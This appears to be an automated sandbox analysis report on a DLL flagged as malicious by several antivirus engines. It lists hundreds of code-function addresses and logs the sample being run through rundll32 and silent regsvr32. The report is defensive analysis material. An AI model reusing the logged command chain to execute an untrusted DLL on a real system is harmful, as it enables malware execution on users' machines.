                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180008CE02_2_0000000180008CE0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800124E42_2_00000001800124E4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180003CE82_2_0000000180003CE8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018002B0EC2_2_000000018002B0EC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001ACEC2_2_000000018001ACEC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000B0F82_2_000000018000B0F8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800161102_2_0000000180016110
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800249182_2_0000000180024918
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180013D1C2_2_0000000180013D1C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018002BD202_2_000000018002BD20
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800265202_2_0000000180026520
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000BD242_2_000000018000BD24
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180021D2C2_2_0000000180021D2C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000D92C2_2_000000018000D92C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001A1302_2_000000018001A130
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018002093C2_2_000000018002093C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800171442_2_0000000180017144
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800049482_2_0000000180004948
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001B5582_2_000000018001B558
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018002155C2_2_000000018002155C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180019D5C2_2_0000000180019D5C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018002796C2_2_000000018002796C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018002B5702_2_000000018002B570
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800169782_2_0000000180016978
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800105782_2_0000000180010578
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000F5802_2_000000018000F580
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000ED842_2_000000018000ED84
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800289902_2_0000000180028990
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800145942_2_0000000180014594
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800165942_2_0000000180016594
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800051982_2_0000000180005198
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180029DA82_2_0000000180029DA8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800041A82_2_00000001800041A8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000B1A82_2_000000018000B1A8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001C5AC2_2_000000018001C5AC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180017DB02_2_0000000180017DB0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180020DBC2_2_0000000180020DBC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800129BC2_2_00000001800129BC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180002DC02_2_0000000180002DC0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001D9C42_2_000000018001D9C4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180023DD42_2_0000000180023DD4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800025D82_2_00000001800025D8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001C9F02_2_000000018001C9F0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800031F02_2_00000001800031F0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800199F42_2_00000001800199F4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180022E042_2_0000000180022E04
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800132102_2_0000000180013210
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800136102_2_0000000180013610
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180013E182_2_0000000180013E18
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001F61C2_2_000000018001F61C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001D6202_2_000000018001D620
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001762C2_2_000000018001762C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180025E302_2_0000000180025E30
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800226382_2_0000000180022638
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001F2382_2_000000018001F238
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180029A402_2_0000000180029A40
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001D2542_2_000000018001D254
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000E2542_2_000000018000E254
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000FE582_2_000000018000FE58
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001EE5C2_2_000000018001EE5C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800106802_2_0000000180010680
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018002BE902_2_000000018002BE90
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000F2902_2_000000018000F290
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000B6982_2_000000018000B698
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800066982_2_0000000180006698
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018002369C2_2_000000018002369C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180003A9C2_2_0000000180003A9C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800276A42_2_00000001800276A4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800216A82_2_00000001800216A8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800146B42_2_00000001800146B4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000B2BC2_2_000000018000B2BC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180019EC02_2_0000000180019EC0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180020AC42_2_0000000180020AC4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000FAD02_2_000000018000FAD0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180021AE02_2_0000000180021AE0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800072E02_2_00000001800072E0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800036E02_2_00000001800036E0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180002AE42_2_0000000180002AE4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180028EE82_2_0000000180028EE8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180024EF42_2_0000000180024EF4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800212FC2_2_00000001800212FC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180022AFC2_2_0000000180022AFC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000D3002_2_000000018000D300
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018002A3042_2_000000018002A304
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800233042_2_0000000180023304
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800027082_2_0000000180002708
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800197202_2_0000000180019720
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001C7202_2_000000018001C720
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800137242_2_0000000180013724
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180017B242_2_0000000180017B24
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180028B282_2_0000000180028B28
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018002632C2_2_000000018002632C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800243302_2_0000000180024330
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180022F3C2_2_0000000180022F3C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180026F3C2_2_0000000180026F3C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180026B402_2_0000000180026B40
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180003F402_2_0000000180003F40
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180008F5C2_2_0000000180008F5C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180010B602_2_0000000180010B60
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001F7642_2_000000018001F764
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800143682_2_0000000180014368
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800013682_2_0000000180001368
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000CB6C2_2_000000018000CB6C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000DB742_2_000000018000DB74
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180012F942_2_0000000180012F94
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001E7A42_2_000000018001E7A4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800127A42_2_00000001800127A4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001EFAC2_2_000000018001EFAC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800093AC2_2_00000001800093AC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180013BB42_2_0000000180013BB4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180007BB42_2_0000000180007BB4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000DFCC2_2_000000018000DFCC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000EFCC2_2_000000018000EFCC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800207D02_2_00000001800207D0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001ABD82_2_000000018001ABD8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800193E02_2_00000001800193E0
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_00000205000000003_2_0000020500000000
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000001B23E8F00004_2_000001B23E8F0000
                      Source: C:\Windows\System32\rundll32.exeCode function: 5_2_000001EC47B900005_2_000001EC47B90000
                      Source: C:\Windows\System32\rundll32.exeCode function: 6_2_0000021DBE8100006_2_0000021DBE810000
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0087000011_2_00870000
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180017FEC11_2_0000000180017FEC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001C9F011_2_000000018001C9F0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001A80411_2_000000018001A804
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180027E2811_2_0000000180027E28
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018002389411_2_0000000180023894
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180007CAC11_2_0000000180007CAC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018002A30411_2_000000018002A304
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180005B1811_2_0000000180005B18
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180022F3C11_2_0000000180022F3C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180018B3C11_2_0000000180018B3C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001BD6411_2_000000018001BD64
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001436811_2_0000000180014368
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000136811_2_0000000180001368
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_00000001800041A811_2_00000001800041A8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000AFE411_2_000000018000AFE4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000B3E411_2_000000018000B3E4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_00000001800031F011_2_00000001800031F0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_00000001800199F411_2_00000001800199F4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_00000001800213FC11_2_00000001800213FC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180022E0411_2_0000000180022E04
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001A40811_2_000000018001A408
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000BC0811_2_000000018000BC08
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001321011_2_0000000180013210
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001361011_2_0000000180013610
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001741411_2_0000000180017414
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000101411_2_0000000180001014
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001641811_2_0000000180016418
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180013E1811_2_0000000180013E18
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001F61C11_2_000000018001F61C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018002402011_2_0000000180024020
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001D62011_2_000000018001D620
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000282011_2_0000000180002820
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001B02811_2_000000018001B028
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001762C11_2_000000018001762C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180025E3011_2_0000000180025E30
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180017C3011_2_0000000180017C30
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018002263811_2_0000000180022638
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001F23811_2_000000018001F238
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180029A4011_2_0000000180029A40
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180022C4811_2_0000000180022C48
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000484811_2_0000000180004848
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018002344C11_2_000000018002344C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001484C11_2_000000018001484C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180015C5011_2_0000000180015C50
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000F85011_2_000000018000F850
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001D25411_2_000000018001D254
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000E25411_2_000000018000E254
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000FE5811_2_000000018000FE58
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000C45811_2_000000018000C458
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001EE5C11_2_000000018001EE5C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180004C6411_2_0000000180004C64
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180020C6811_2_0000000180020C68
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180010C6811_2_0000000180010C68
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001406C11_2_000000018001406C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001FC7011_2_000000018001FC70
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000407811_2_0000000180004078
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001068011_2_0000000180010680
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000548411_2_0000000180005484
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018002A08811_2_000000018002A088
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018002BE9011_2_000000018002BE90
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000F29011_2_000000018000F290
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000669811_2_0000000180006698
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000B69811_2_000000018000B698
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018002369C11_2_000000018002369C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180003A9C11_2_0000000180003A9C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_00000001800114A011_2_00000001800114A0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_00000001800276A411_2_00000001800276A4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_00000001800216A811_2_00000001800216A8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001E4A811_2_000000018001E4A8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_00000001800146B411_2_00000001800146B4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018002B6BC11_2_000000018002B6BC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_00000001800030BC11_2_00000001800030BC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000B2BC11_2_000000018000B2BC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001C8C011_2_000000018001C8C0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180019EC011_2_0000000180019EC0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180020AC411_2_0000000180020AC4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_00000001800178C411_2_00000001800178C4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000CCC811_2_000000018000CCC8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001D4D011_2_000000018001D4D0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000FAD011_2_000000018000FAD0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_00000001800090D411_2_00000001800090D4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_00000001800284DC11_2_00000001800284DC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180021AE011_2_0000000180021AE0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_00000001800036E011_2_00000001800036E0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_00000001800072E011_2_00000001800072E0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180008CE011_2_0000000180008CE0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_00000001800124E411_2_00000001800124E4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180002AE411_2_0000000180002AE4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180028EE811_2_0000000180028EE8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180003CE811_2_0000000180003CE8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018002B0EC11_2_000000018002B0EC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001ACEC11_2_000000018001ACEC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180024EF411_2_0000000180024EF4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000B0F811_2_000000018000B0F8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_00000001800212FC11_2_00000001800212FC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180022AFC11_2_0000000180022AFC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000D30011_2_000000018000D300
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018002330411_2_0000000180023304
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001EB0811_2_000000018001EB08
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000270811_2_0000000180002708
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001611011_2_0000000180016110
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018002491811_2_0000000180024918
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180013D1C11_2_0000000180013D1C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018002BD2011_2_000000018002BD20
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018002652011_2_0000000180026520
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001C72011_2_000000018001C720
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001972011_2_0000000180019720
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001372411_2_0000000180013724
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180017B2411_2_0000000180017B24
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000BD2411_2_000000018000BD24
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180028B2811_2_0000000180028B28
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180021D2C11_2_0000000180021D2C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018002632C11_2_000000018002632C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000D92C11_2_000000018000D92C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018002433011_2_0000000180024330
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001A13011_2_000000018001A130
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018002093C11_2_000000018002093C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180026F3C11_2_0000000180026F3C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180026B4011_2_0000000180026B40
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180003F4011_2_0000000180003F40
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001714411_2_0000000180017144
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000494811_2_0000000180004948
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001B55811_2_000000018001B558
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018002155C11_2_000000018002155C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180019D5C11_2_0000000180019D5C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180008F5C11_2_0000000180008F5C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180010B6011_2_0000000180010B60
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001F76411_2_000000018001F764
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018002796C11_2_000000018002796C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000CB6C11_2_000000018000CB6C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018002B57011_2_000000018002B570
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000DB7411_2_000000018000DB74
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001697811_2_0000000180016978
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001057811_2_0000000180010578
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000F58011_2_000000018000F580
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000ED8411_2_000000018000ED84
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180011B8811_2_0000000180011B88
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018002899011_2_0000000180028990
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180012F9411_2_0000000180012F94
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001459411_2_0000000180014594
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001659411_2_0000000180016594
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000519811_2_0000000180005198
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001E7A411_2_000000018001E7A4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_00000001800127A411_2_00000001800127A4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180029DA811_2_0000000180029DA8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000B1A811_2_000000018000B1A8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001C5AC11_2_000000018001C5AC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001EFAC11_2_000000018001EFAC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_00000001800093AC11_2_00000001800093AC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180017DB011_2_0000000180017DB0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180013BB411_2_0000000180013BB4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180007BB411_2_0000000180007BB4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180020DBC11_2_0000000180020DBC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_00000001800129BC11_2_00000001800129BC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180002DC011_2_0000000180002DC0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001D9C411_2_000000018001D9C4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000DFCC11_2_000000018000DFCC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018000EFCC11_2_000000018000EFCC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_00000001800207D011_2_00000001800207D0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_0000000180023DD411_2_0000000180023DD4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001ABD811_2_000000018001ABD8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_00000001800025D811_2_00000001800025D8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_00000001800193E011_2_00000001800193E0
                      Source: PYCkUgesWB.dllStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
                      Source: C:\Windows\System32\regsvr32.exeSection loaded: sfc.dllJump to behavior
                      Source: C:\Windows\System32\regsvr32.exeSection loaded: sfc.dllJump to behavior
                      Source: C:\Windows\System32\regsvr32.exeSection loaded: sfc.dllJump to behavior
                      Source: PYCkUgesWB.dllVirustotal: Detection: 66%
                      Source: PYCkUgesWB.dllMetadefender: Detection: 42%
                      Source: PYCkUgesWB.dllReversingLabs: Detection: 80%
                      Source: PYCkUgesWB.dllStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                      Source: C:\Windows\System32\loaddll64.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                      Source: unknownProcess created: C:\Windows\System32\loaddll64.exe loaddll64.exe "C:\Users\user\Desktop\PYCkUgesWB.dll"
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\PYCkUgesWB.dll",#1
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\PYCkUgesWB.dll
